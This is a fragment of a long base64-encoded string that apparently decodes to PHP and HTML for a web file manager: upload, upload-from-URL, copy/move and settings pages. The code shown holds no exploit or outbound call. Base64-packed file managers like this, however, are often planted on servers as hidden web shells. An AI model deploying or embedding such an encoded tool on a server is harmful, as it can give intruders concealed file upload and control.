EZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cInVwbG9hZFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwidXJsXCIgcGxhY2Vob2xkZXI9XCJVUkxcIiBuYW1lPVwidXBsb2FkdXJsXCIgcmVxdWlyZWQgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBzdHlsZT1cIndpZHRoOiA4MCVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1wcmltYXJ5IG1zLTNcIj48P3BocCBlY2hvIGxuZygnVXBsb2FkJykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibGRzLWZhY2Vib29rXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9XCJqcy11cmwtdXBsb2FkX19saXN0XCIgY2xhc3M9XCJjb2wtOSBtdC0zXCI+PFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtZHJvcHpvbmUnKTsgPz5cbiAgICA8c2NyaXB0PlxuICAgICAgICBEcm9wem9uZS5vcHRpb25zLmZpbGVVcGxvYWRlciA9IHtcbiAgICAgICAgICAgIGNodW5raW5nOiB0cnVlLFxuICAgICAgICAgICAgY2h1bmtTaXplOiA8P3BocCBlY2hvIFVQTE9BRF9DSFVOS19TSVpFOyA/PixcbiAgICAgICAgICAgIGZvcmNlQ2h1bmtpbmc6IHRydWUsXG4gICAgICAgICAgICByZXRyeUNodW5rczogdHJ1ZSxcbiAgICAgICAgICAgIHJldHJ5Q2h1bmtzTGltaXQ6IDMsXG4gICAgICAgICAgICBwYXJhbGxlbFVwbG9hZHM6IDEsXG4gICAgICAgICAgICBwYXJhbGxlbENodW5rVXBsb2FkczogZmFsc2UsXG4gICAgICAgICAgICB0aW1lb3V0OiAxMjAwMDAsXG4gICAgICAgICAgICBtYXhGaWxlc2l6ZTogXCI8P3BocCBlY2hvIE1BWF9VUExPQURfU0laRTsgPz5cIixcbiAgICAgICAgICAgIGFjY2VwdGVkRmlsZXM6IFwiPD9waHAgZWNobyBnZXRVcGxvYWRFeHQoKSA/PlwiLFxuICAgICAgICAgICAgaW5pdDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgdGhpcy5vbihcInNlbmRpbmdcIiwgZnVuY3Rpb24oZmlsZSwgeGhyLCBmb3JtRGF0YSkge1xuICAgICAgICAgICAgICAgICAgICBsZXQgX3BhdGggPSAoZmlsZS5mdWxsUGF0aCkgPyBmaWxlLmZ1bGxQYXRoIDogZmlsZS5uYW1lO1xuICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcImZ1bGxwYXRoXCIpLnZhbHVlID0gX3BhdGg7XG4gICAgICAgICAgICAgICAgICAgIHhoci5vbnRpbWVvdXQgPSAoZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICB0b2FzdCgnRXJyb3I6IFNlcnZlciBUaW1lb3V0Jyk7XG4gICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIH0pLm9uKFwic3VjY2Vzc1wiLCBmdW5jdGlvbihyZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgdHJ5IHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBfcmVzcG9uc2UgPSBKU09OLnBhcnNlKHJlcy54aHIucmVzcG9uc2UpO1xuXG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoX3Jlc3BvbnNlLnN0YXR1cyA9PSBcImVycm9yXCIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChfcmVzcG9uc2UuaW5mbyk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiRXJyb3I6IEludmFsaWQgSlNPTiByZXNwb25zZVwiKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pLm9uKFwiZXJyb3JcIiwgZnVuY3Rpb24oZmlsZSwgcmVzcG9uc2UpIHtcbiAgICAgICAgICAgICAgICAgICAgdG9hc3QocmVzcG9uc2UpO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgPFwvc2NyaXB0PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NvcHknXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHlfZmlsZXMgPSBpc3NldCgkX1BPU1RbJ2ZpbGUnXSkgPyAkX1BPU1RbJ2ZpbGUnXSA6IG51bGw7XG4gICAgaWYgKCFpc19hcnJheSgkY29weV9maWxlcykgfHwgZW1wdHkoJGNvcHlfZmlsZXMpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdOb3RoaW5nIHNlbGVjdGVkJyksICdhbGVydCcpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4/PlxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8aDY+PD9waHAgZWNobyBsbmcoJ0NvcHlpbmcnKSA/PjxcL2g2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmluaXNoXCIgdmFsdWU9XCIxXCI+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRjb3B5X2ZpbGVzIGFzICRjZikge1xuICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZmlsZVtdXCIgdmFsdWU9XCInIC4gZm1fZW5jKCRjZikgLiAnXCI+JyAuIFBIUF9FT0w7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRmlsZXMnKSA/PjxcL3N0cm9uZz46IDxiPjw/cGhwIGVjaG8gaW1wbG9kZSgnPFwvYj4sIDxiPicsICRjb3B5X2ZpbGVzKSA/PjxcL2I+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnU291cmNlRm9sZGVyJykgPz48XC9zdHJvbmc+OiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+PHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIEZNX1JPT1RfUEFUSCA/PlwvPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImNvcHlfdG9cIiBpZD1cImlucF9jb3B5X3RvXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cImN1c3RvbS1jaGVja2JveCBjdXN0b20tY29udHJvbFwiPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiIGlkPVwianMtbW92ZS1maWxlc1wiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJqcy1tb3ZlLWZpbGVzXCIgY2xhc3M9XCJjdXN0b20tY29udHJvbC1sYWJlbCBtcy0yXCI+PD9waHAgZWNobyBsbmcoJ01vdmUnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgICAgICA8cD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1vdXRsaW5lLWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDb3B5JykgPz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2NvcHknXSkgJiYgIWlzc2V0KCRfR0VUWydmaW5pc2gnXSkgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgJGNvcHkgPSAkX0dFVFsnY29weSddO1xuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XG4gICAgaWYgKCRjb3B5ID09ICcnIHx8ICFmaWxlX2V4aXN0cyhGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8cD48Yj5Db3B5aW5nPFwvYj48XC9wPlxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDxzdHJvbmc+U291cmNlIHBhdGg6PFwvc3Ryb25nPiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gJGNvcHkpKSA/Pjxicj5cbiAgICAgICAgICAgIDxzdHJvbmc+RGVzdGluYXRpb24gZm9sZGVyOjxcL3N0cm9uZz4gPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oRk1fUk9PVF9QQVRIIC4gJ1wvJyAuIEZNX1BBVEgpKSA/PlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD5cbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBDb3B5PFwvYT48XC9iPiAmbmJzcDtcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJ0ZXh0LWRhbmdlclwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxuICAgICAgICA8XC9wPlxuICAgICAgICA8cD48aT48P3BocCBlY2hvIGxuZygnU2VsZWN0IGZvbGRlcicpID8+PFwvaT48XC9wPlxuICAgICAgICA8dWwgY2xhc3M9XCJmb2xkZXJzIGJyZWFrLXdvcmRcIj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICBpZiAoJHBhcmVudCAhPT0gZmFsc2UpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnRcIj48XC9pPiAuLjxcL2E+PFwvbGk+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGYpIHtcbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPGxpPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1mb2xkZXItb1wiPjxcL2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oJGYpID8+PFwvYT5cbiAgICAgICAgICAgICAgICA8XC9saT5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICB9XG4gICAgICAgICAgICA/PlxuICAgICAgICA8XC91bD5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydzZXR0aW5ncyddKSAmJiAhRk1fUkVBRE9OTFkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nLCAkbGFuZ19saXN0O1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtY29nXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NldHRpbmdzJykgPz48XC9zcGFuPlxuICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cInRleHQtZGFuZ2VyXCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2E+XG4gICAgICAgICAgICA8XC9oNj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkLWJvZHlcIj5cbiAgICAgICAgICAgICAgICA8Zm9ybSBpZD1cImpzLXNldHRpbmdzLWZvcm1cIiBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZGF0YS10eXBlPVwiYWpheFwiIG9uc3VibWl0PVwicmV0dXJuIHNhdmVfc2V0dGluZ3ModGhpcylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwic2V0dGluZ3NcIiBhcmlhLWxhYmVsPVwiaGlkZGVuXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+XG4gICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJmb3JtLWdyb3VwIHJvd1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImpzLWxhbmd1YWdlXCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdMYW5ndWFnZScpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGNsYXNzPVwiZm9ybS1zZWxlY3RcIiBpZD1cImpzLWxhbmd1YWdlXCIgbmFtZT1cImpzLWxhbmd1YWdlXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGdldFNlbGVjdGVkKCRsKVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnbG9iYWwgJGxhbmc7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRsYW5nID09ICRsKSA/ICdzZWxlY3RlZCcgOiAnJztcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkbGFuZ19saXN0IGFzICRrID0+ICR2KSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwiPG9wdGlvbiB2YWx1ZT0nJGsnIFwiIC4gZ2V0U2VsZWN0ZWQoJGspIC4gXCI+JHY8XC9vcHRpb24+XCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm10LTMgbWItMyByb3cgXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtZXJyb3ItcmVwb3J0XCIgY2xhc3M9XCJjb2wtc20tMyBjb2wtZm9ybS1sYWJlbFwiPjw/cGhwIGVjaG8gbG5nKCdFcnJvclJlcG9ydGluZycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1jaGVjayBmb3JtLXN3aXRjaFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJmb3JtLWNoZWNrLWlucHV0XCIgdHlwZT1cImNoZWNrYm94XCIgcm9sZT1cInN3aXRjaFwiIGlkPVwianMtZXJyb3ItcmVwb3J0XCIgbmFtZT1cImpzLWVycm9yLXJlcG9ydFwiIHZhbHVlPVwidHJ1ZVwiIDw/cGhwIGVjaG8gJHJlcG9ydF9lcnJvcnMgPyAnY2hlY2tlZCcgOiAnJzsgPz4gXC8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1iLTMgcm93XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPVwianMtc2hvdy1oaWRkZW5cIiBjbGFzcz1cImNvbC1zbS0zIGNvbC1mb3JtLWxhYmVsXCI+PD9waHAgZWNobyBsbmcoJ1Nob3dIaWRkZW5GaWxlcycpID8+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXNtLTlcIj5cbiAgICAgICAgICAgICAgICA